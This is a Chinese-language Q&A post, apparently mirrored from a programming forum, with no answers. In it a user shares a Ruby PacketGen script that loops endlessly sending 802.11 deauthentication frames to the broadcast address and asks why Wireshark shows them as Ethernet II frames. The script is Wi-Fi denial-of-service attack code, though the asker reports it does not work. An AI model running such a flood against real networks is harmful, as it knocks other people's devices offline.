为什么我的程序制作以太网II框架而不是取消认证框架?

时间:2018-10-16 00:22:45

标签: ruby wifi wireshark packet 802.11

我编写了一个简单的取消验证攻击脚本,可以在自己的网络上使用。我运行Wireshark来查看数据包,但是它们没有显示为取消身份验证数据包,而是显示为以太网II数据包。此外,它们对我的网络的任何设备都没有影响。我在无线接口上注入了这些数据包。我重写了几次脚本,但问题仍然存在。是由我的网络问题引起的还是我的代码有问题?屏幕截图和脚本代码在下面。

屏幕截图:

enter image description here

代码:

require 'packetgen'

    def deauth()
    network = 'wlp2s0'
    yes = 'y'
    no = 'n'
    broadcast = 'FF:FF:FF:FF:FF:FF'
    print 'Do you want to deauth network?[y/n]'
    input = gets.chomp
    if input == yes or yes.upcase!
        puts 'Deauthing all network clients...'
        while true
            PacketGen.gen('Dot11::Management', mac1: broadcast).
            add('Dot11::DeAuth').
            to_w(network)
            end
    elsif input == no or no.upcase!
        print 'Okay :('
        end
    end
deauth()

0 个答案:

没有答案